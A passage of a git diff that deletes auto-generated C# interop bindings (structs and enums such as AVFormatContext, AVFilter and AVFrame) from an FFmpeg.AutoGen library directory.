88073, - AV_CODEC_ID_INTERPLAY_ACM = 88074, - AV_CODEC_ID_XMA1 = 88075, - AV_CODEC_ID_XMA2 = 88076, - AV_CODEC_ID_FIRST_SUBTITLE = 94208, - AV_CODEC_ID_DVD_SUBTITLE = 94208, - AV_CODEC_ID_DVB_SUBTITLE = 94209, - AV_CODEC_ID_TEXT = 94210, - AV_CODEC_ID_XSUB = 94211, - AV_CODEC_ID_SSA = 94212, - AV_CODEC_ID_MOV_TEXT = 94213, - AV_CODEC_ID_HDMV_PGS_SUBTITLE = 94214, - AV_CODEC_ID_DVB_TELETEXT = 94215, - AV_CODEC_ID_SRT = 94216, - AV_CODEC_ID_MICRODVD = 96256, - AV_CODEC_ID_EIA_608 = 96257, - AV_CODEC_ID_JACOSUB = 96258, - AV_CODEC_ID_SAMI = 96259, - AV_CODEC_ID_REALTEXT = 96260, - AV_CODEC_ID_STL = 96261, - AV_CODEC_ID_SUBVIEWER1 = 96262, - AV_CODEC_ID_SUBVIEWER = 96263, - AV_CODEC_ID_SUBRIP = 96264, - AV_CODEC_ID_WEBVTT = 96265, - AV_CODEC_ID_MPL2 = 96266, - AV_CODEC_ID_VPLAYER = 96267, - AV_CODEC_ID_PJS = 96268, - AV_CODEC_ID_ASS = 96269, - AV_CODEC_ID_HDMV_TEXT_SUBTITLE = 96270, - AV_CODEC_ID_FIRST_UNKNOWN = 98304, - AV_CODEC_ID_TTF = 98304, - AV_CODEC_ID_BINTEXT = 100352, - AV_CODEC_ID_XBIN = 100353, - AV_CODEC_ID_IDF = 100354, - AV_CODEC_ID_OTF = 100355, - AV_CODEC_ID_SMPTE_KLV = 100356, - AV_CODEC_ID_DVD_NAV = 100357, - AV_CODEC_ID_TIMED_ID3 = 100358, - AV_CODEC_ID_BIN_DATA = 100359, - AV_CODEC_ID_PROBE = 102400, - AV_CODEC_ID_MPEG2TS = 131072, - AV_CODEC_ID_MPEG4SYSTEMS = 131073, - AV_CODEC_ID_FFMETADATA = 135168, - AV_CODEC_ID_WRAPPED_AVFRAME = 135169 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecInternal.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecInternal.cs deleted file mode 100644 index 69df62c..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecInternal.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVCodecInternal -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecParser.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecParser.cs deleted file mode 100644 index b66ef5c..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecParser.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVCodecParser -{ - public unsafe fixed int codec_ids[5]; - - public int priv_data_size; - - public IntPtr parser_init; - - public IntPtr parser_parse; - - public IntPtr parser_close; - - public IntPtr split; - - public unsafe AVCodecParser* next; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecParserContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecParserContext.cs deleted file mode 100644 index f00350b..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecParserContext.cs +++ /dev/null @@ -1,76 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVCodecParserContext -{ - public unsafe void* priv_data; - - public unsafe AVCodecParser* parser; - - public long frame_offset; - - public long cur_offset; - - public long next_frame_offset; - - public int pict_type; - - public int repeat_pict; - - public long pts; - - public long dts; - - public long last_pts; - - public long last_dts; - - public int fetch_timestamp; - - public int cur_frame_start_index; - - public unsafe fixed long cur_frame_offset[4]; - - public unsafe fixed long cur_frame_pts[4]; - - public unsafe fixed long cur_frame_dts[4]; - - public int flags; - - public long offset; - - public unsafe fixed long cur_frame_end[4]; - - public int key_frame; - - public long convergence_duration; - - public int dts_sync_point; - - public int dts_ref_dts_delta; - - public int pts_dts_delta; - - public unsafe fixed long cur_frame_pos[4]; - - public long pos; - - public long last_pos; - - public int duration; - - public AVFieldOrder field_order; - - public AVPictureStructure picture_structure; - - public int output_picture_number; - - public int width; - - public int height; - - public int coded_width; - - public int coded_height; - - public int format; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecTag.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecTag.cs deleted file mode 100644 index b763a9a..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVCodecTag.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVCodecTag -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorPrimaries.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorPrimaries.cs deleted file mode 100644 index d84f103..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorPrimaries.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVColorPrimaries -{ - AVCOL_PRI_RESERVED0, - AVCOL_PRI_BT709, - AVCOL_PRI_UNSPECIFIED, - AVCOL_PRI_RESERVED, - AVCOL_PRI_BT470M, - AVCOL_PRI_BT470BG, - AVCOL_PRI_SMPTE170M, - AVCOL_PRI_SMPTE240M, - AVCOL_PRI_FILM, - AVCOL_PRI_BT2020, - AVCOL_PRI_SMPTEST428_1, - AVCOL_PRI_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorRange.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorRange.cs deleted file mode 100644 index cae361d..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorRange.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVColorRange -{ - AVCOL_RANGE_UNSPECIFIED, - AVCOL_RANGE_MPEG, - AVCOL_RANGE_JPEG, - AVCOL_RANGE_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorSpace.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorSpace.cs deleted file mode 100644 index 401f569..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorSpace.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVColorSpace -{ - AVCOL_SPC_RGB, - AVCOL_SPC_BT709, - AVCOL_SPC_UNSPECIFIED, - AVCOL_SPC_RESERVED, - AVCOL_SPC_FCC, - AVCOL_SPC_BT470BG, - AVCOL_SPC_SMPTE170M, - AVCOL_SPC_SMPTE240M, - AVCOL_SPC_YCOCG, - AVCOL_SPC_BT2020_NCL, - AVCOL_SPC_BT2020_CL, - AVCOL_SPC_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorTransferCharacteristic.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorTransferCharacteristic.cs deleted file mode 100644 index 217ac8f..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVColorTransferCharacteristic.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVColorTransferCharacteristic -{ - AVCOL_TRC_RESERVED0, - AVCOL_TRC_BT709, - AVCOL_TRC_UNSPECIFIED, - AVCOL_TRC_RESERVED, - AVCOL_TRC_GAMMA22, - AVCOL_TRC_GAMMA28, - AVCOL_TRC_SMPTE170M, - AVCOL_TRC_SMPTE240M, - AVCOL_TRC_LINEAR, - AVCOL_TRC_LOG, - AVCOL_TRC_LOG_SQRT, - AVCOL_TRC_IEC61966_2_4, - AVCOL_TRC_BT1361_ECG, - AVCOL_TRC_IEC61966_2_1, - AVCOL_TRC_BT2020_10, - AVCOL_TRC_BT2020_12, - AVCOL_TRC_SMPTEST2084, - AVCOL_TRC_SMPTEST428_1, - AVCOL_TRC_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVComponentDescriptor.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVComponentDescriptor.cs deleted file mode 100644 index cbc3617..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVComponentDescriptor.cs +++ /dev/null @@ -1,20 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVComponentDescriptor -{ - public int plane; - - public int step; - - public int offset; - - public int shift; - - public int depth; - - public int step_minus1; - - public int depth_minus1; - - public int offset_plus1; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDevToAppMessageType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDevToAppMessageType.cs deleted file mode 100644 index 35ea9a6..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDevToAppMessageType.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVDevToAppMessageType -{ - AV_DEV_TO_APP_NONE = 1313820229, - AV_DEV_TO_APP_CREATE_WINDOW_BUFFER = 1111708229, - AV_DEV_TO_APP_PREPARE_WINDOW_BUFFER = 1112560197, - AV_DEV_TO_APP_DISPLAY_WINDOW_BUFFER = 1111771475, - AV_DEV_TO_APP_DESTROY_WINDOW_BUFFER = 1111770451, - AV_DEV_TO_APP_BUFFER_OVERFLOW = 1112491596, - AV_DEV_TO_APP_BUFFER_UNDERFLOW = 1112884812, - AV_DEV_TO_APP_BUFFER_READABLE = 1112687648, - AV_DEV_TO_APP_BUFFER_WRITABLE = 1113018912, - AV_DEV_TO_APP_MUTE_STATE_CHANGED = 1129141588, - AV_DEV_TO_APP_VOLUME_LEVEL_CHANGED = 1129729868 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceCapabilitiesQuery.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceCapabilitiesQuery.cs deleted file mode 100644 index 78e8fc5..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceCapabilitiesQuery.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVDeviceCapabilitiesQuery -{ - public unsafe AVClass* av_class; - - public unsafe AVFormatContext* device_context; - - public AVCodecID codec; - - public AVSampleFormat sample_format; - - public AVPixelFormat pixel_format; - - public int sample_rate; - - public int channels; - - public long channel_layout; - - public int window_width; - - public int window_height; - - public int frame_width; - - public int frame_height; - - public AVRational fps; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceInfo.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceInfo.cs deleted file mode 100644 index 82b6437..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceInfo.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVDeviceInfo -{ - public unsafe sbyte* device_name; - - public unsafe sbyte* device_description; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceInfoList.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceInfoList.cs deleted file mode 100644 index 11f39cc..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceInfoList.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVDeviceInfoList -{ - public unsafe AVDeviceInfo** devices; - - public int nb_devices; - - public int default_device; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceRect.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceRect.cs deleted file mode 100644 index 6685a85..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDeviceRect.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVDeviceRect -{ - public int x; - - public int y; - - public int width; - - public int height; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDictionary.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDictionary.cs deleted file mode 100644 index 485ff8b..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDictionary.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVDictionary -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDictionaryEntry.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDictionaryEntry.cs deleted file mode 100644 index 9b16e2d..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDictionaryEntry.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVDictionaryEntry -{ - public unsafe sbyte* key; - - public unsafe sbyte* value; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDiscard.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDiscard.cs deleted file mode 100644 index 4949767..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDiscard.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVDiscard -{ - AVDISCARD_NONE = -16, - AVDISCARD_DEFAULT = 0, - AVDISCARD_NONREF = 8, - AVDISCARD_BIDIR = 16, - AVDISCARD_NONINTRA = 24, - AVDISCARD_NONKEY = 32, - AVDISCARD_ALL = 48 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDurationEstimationMethod.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDurationEstimationMethod.cs deleted file mode 100644 index ad859f0..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVDurationEstimationMethod.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVDurationEstimationMethod -{ - AVFMT_DURATION_FROM_PTS, - AVFMT_DURATION_FROM_STREAM, - AVFMT_DURATION_FROM_BITRATE -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFieldOrder.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFieldOrder.cs deleted file mode 100644 index 30dcd78..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFieldOrder.cs +++ /dev/null @@ -1,11 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVFieldOrder -{ - AV_FIELD_UNKNOWN, - AV_FIELD_PROGRESSIVE, - AV_FIELD_TT, - AV_FIELD_BB, - AV_FIELD_TB, - AV_FIELD_BT -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFifoBuffer.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFifoBuffer.cs deleted file mode 100644 index 547ac65..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFifoBuffer.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVFifoBuffer -{ - public unsafe sbyte* buffer; - - public unsafe sbyte* rptr; - - public unsafe sbyte* wptr; - - public unsafe sbyte* end; - - public uint rndx; - - public uint wndx; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilter.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilter.cs deleted file mode 100644 index 9af6035..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilter.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVFilter -{ - public unsafe sbyte* name; - - public unsafe sbyte* description; - - public unsafe AVFilterPad* inputs; - - public unsafe AVFilterPad* outputs; - - public unsafe AVClass* priv_class; - - public int flags; - - public IntPtr init; - - public IntPtr init_dict; - - public IntPtr uninit; - - public IntPtr query_formats; - - public int priv_size; - - public unsafe AVFilter* next; - - public IntPtr process_command; - - public IntPtr init_opaque; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterChannelLayouts.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterChannelLayouts.cs deleted file mode 100644 index f218e2a..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterChannelLayouts.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVFilterChannelLayouts -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterCommand.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterCommand.cs deleted file mode 100644 index e4c16b5..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterCommand.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVFilterCommand -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterContext.cs deleted file mode 100644 index f9dc55b..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterContext.cs +++ /dev/null @@ -1,40 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVFilterContext -{ - public unsafe AVClass* av_class; - - public unsafe AVFilter* filter; - - public unsafe sbyte* name; - - public unsafe AVFilterPad* input_pads; - - public unsafe AVFilterLink** inputs; - - public uint nb_inputs; - - public unsafe AVFilterPad* output_pads; - - public unsafe AVFilterLink** outputs; - - public uint nb_outputs; - - public unsafe void* priv; - - public unsafe AVFilterGraph* graph; - - public int thread_type; - - public unsafe AVFilterInternal* @internal; - - public unsafe AVFilterCommand* command_queue; - - public unsafe sbyte* enable_str; - - public unsafe void* enable; - - public unsafe double* var_values; - - public int is_disabled; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterFormats.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterFormats.cs deleted file mode 100644 index 8b26cf5..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterFormats.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVFilterFormats -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterGraph.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterGraph.cs deleted file mode 100644 index c3076d3..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterGraph.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVFilterGraph -{ - public unsafe AVClass* av_class; - - public unsafe AVFilterContext** filters; - - public uint nb_filters; - - public unsafe sbyte* scale_sws_opts; - - public unsafe sbyte* resample_lavr_opts; - - public int thread_type; - - public int nb_threads; - - public unsafe AVFilterGraphInternal* @internal; - - public unsafe void* opaque; - - public IntPtr execute; - - public unsafe sbyte* aresample_swr_opts; - - public unsafe AVFilterLink** sink_links; - - public int sink_links_count; - - public uint disable_auto_convert; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterGraphInternal.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterGraphInternal.cs deleted file mode 100644 index 3498aea..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterGraphInternal.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVFilterGraphInternal -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterInOut.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterInOut.cs deleted file mode 100644 index 29f6eae..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterInOut.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVFilterInOut -{ - public unsafe sbyte* name; - - public unsafe AVFilterContext* filter_ctx; - - public int pad_idx; - - public unsafe AVFilterInOut* next; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterInternal.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterInternal.cs deleted file mode 100644 index 8594637..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterInternal.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVFilterInternal -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterLink.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterLink.cs deleted file mode 100644 index 34882d0..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterLink.cs +++ /dev/null @@ -1,76 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVFilterLink -{ - public unsafe AVFilterContext* src; - - public unsafe AVFilterPad* srcpad; - - public unsafe AVFilterContext* dst; - - public unsafe AVFilterPad* dstpad; - - public AVMediaType type; - - public int w; - - public int h; - - public AVRational sample_aspect_ratio; - - public ulong channel_layout; - - public int sample_rate; - - public int format; - - public AVRational time_base; - - public unsafe AVFilterFormats* in_formats; - - public unsafe AVFilterFormats* out_formats; - - public unsafe AVFilterFormats* in_samplerates; - - public unsafe AVFilterFormats* out_samplerates; - - public unsafe AVFilterChannelLayouts* in_channel_layouts; - - public unsafe AVFilterChannelLayouts* out_channel_layouts; - - public int request_samples; - - public init_state init_state; - - public unsafe AVFilterGraph* graph; - - public long current_pts; - - public long current_pts_us; - - public int age_index; - - public AVRational frame_rate; - - public unsafe AVFrame* partial_buf; - - public int partial_buf_size; - - public int min_samples; - - public int max_samples; - - public int status; - - public int channels; - - public uint flags; - - public long frame_count; - - public unsafe void* video_frame_pool; - - public int frame_wanted_in; - - public int frame_wanted_out; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterPad.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterPad.cs deleted file mode 100644 index 84f5e03..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFilterPad.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVFilterPad -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFormatContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFormatContext.cs deleted file mode 100644 index ea67f0e..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFormatContext.cs +++ /dev/null @@ -1,146 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVFormatContext -{ - public unsafe AVClass* av_class; - - public unsafe AVInputFormat* iformat; - - public unsafe AVOutputFormat* oformat; - - public unsafe void* priv_data; - - public unsafe AVIOContext* pb; - - public int ctx_flags; - - public uint nb_streams; - - public unsafe AVStream** streams; - - public unsafe fixed sbyte filename[1024]; - - public long start_time; - - public long duration; - - public long bit_rate; - - public uint packet_size; - - public int max_delay; - - public int flags; - - public long probesize; - - public long max_analyze_duration; - - public unsafe sbyte* key; - - public int keylen; - - public uint nb_programs; - - public unsafe AVProgram** programs; - - public AVCodecID video_codec_id; - - public AVCodecID audio_codec_id; - - public AVCodecID subtitle_codec_id; - - public uint max_index_size; - - public uint max_picture_buffer; - - public uint nb_chapters; - - public unsafe AVChapter** chapters; - - public unsafe AVDictionary* metadata; - - public long start_time_realtime; - - public int fps_probe_size; - - public int error_recognition; - - public AVIOInterruptCB interrupt_callback; - - public int debug; - - public long max_interleave_delta; - - public int strict_std_compliance; - - public int event_flags; - - public int max_ts_probe; - - public int avoid_negative_ts; - - public int ts_id; - - public int audio_preload; - - public int max_chunk_duration; - - public int max_chunk_size; - - public int use_wallclock_as_timestamps; - - public int avio_flags; - - public AVDurationEstimationMethod duration_estimation_method; - - public long skip_initial_bytes; - - public uint correct_ts_overflow; - - public int seek2any; - - public int flush_packets; - - public int probe_score; - - public int format_probesize; - - public unsafe sbyte* codec_whitelist; - - public unsafe sbyte* format_whitelist; - - public unsafe AVFormatInternal* @internal; - - public int io_repositioned; - - public unsafe AVCodec* video_codec; - - public unsafe AVCodec* audio_codec; - - public unsafe AVCodec* subtitle_codec; - - public unsafe AVCodec* data_codec; - - public int metadata_header_padding; - - public unsafe void* opaque; - - public IntPtr control_message_cb; - - public long output_ts_offset; - - public unsafe sbyte* dump_separator; - - public AVCodecID data_codec_id; - - public IntPtr open_cb; - - public unsafe sbyte* protocol_whitelist; - - public IntPtr io_open; - - public IntPtr io_close; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFormatInternal.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFormatInternal.cs deleted file mode 100644 index 2cbfb8d..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFormatInternal.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVFormatInternal -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrac.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrac.cs deleted file mode 100644 index 6440e50..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrac.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVFrac -{ - public long val; - - public long num; - - public long den; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrame.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrame.cs deleted file mode 100644 index be04c32..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrame.cs +++ /dev/null @@ -1,126 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVFrame -{ - public unsafe sbyte* data0; - - public unsafe sbyte* data1; - - public unsafe sbyte* data2; - - public unsafe sbyte* data3; - - public unsafe sbyte* data4; - - public unsafe sbyte* data5; - - public unsafe sbyte* data6; - - public unsafe sbyte* data7; - - public unsafe fixed int linesize[8]; - - public unsafe sbyte** extended_data; - - public int width; - - public int height; - - public int nb_samples; - - public int format; - - public int key_frame; - - public AVPictureType pict_type; - - public AVRational sample_aspect_ratio; - - public long pts; - - public long pkt_pts; - - public long pkt_dts; - - public int coded_picture_number; - - public int display_picture_number; - - public int quality; - - public unsafe void* opaque; - - public unsafe fixed ulong error[8]; - - public int repeat_pict; - - public int interlaced_frame; - - public int top_field_first; - - public int palette_has_changed; - - public long reordered_opaque; - - public int sample_rate; - - public ulong channel_layout; - - public unsafe AVBufferRef* buf0; - - public unsafe AVBufferRef* buf1; - - public unsafe AVBufferRef* buf2; - - public unsafe AVBufferRef* buf3; - - public unsafe AVBufferRef* buf4; - - public unsafe AVBufferRef* buf5; - - public unsafe AVBufferRef* buf6; - - public unsafe AVBufferRef* buf7; - - public unsafe AVBufferRef** extended_buf; - - public int nb_extended_buf; - - public unsafe AVFrameSideData** side_data; - - public int nb_side_data; - - public int flags; - - public AVColorRange color_range; - - public AVColorPrimaries color_primaries; - - public AVColorTransferCharacteristic color_trc; - - public AVColorSpace colorspace; - - public AVChromaLocation chroma_location; - - public long best_effort_timestamp; - - public long pkt_pos; - - public long pkt_duration; - - public unsafe AVDictionary* metadata; - - public int decode_error_flags; - - public int channels; - - public int pkt_size; - - public unsafe sbyte* qscale_table; - - public int qstride; - - public int qscale_type; - - public unsafe AVBufferRef* qp_table_buf; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrameSideData.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVFrameSideData.cs 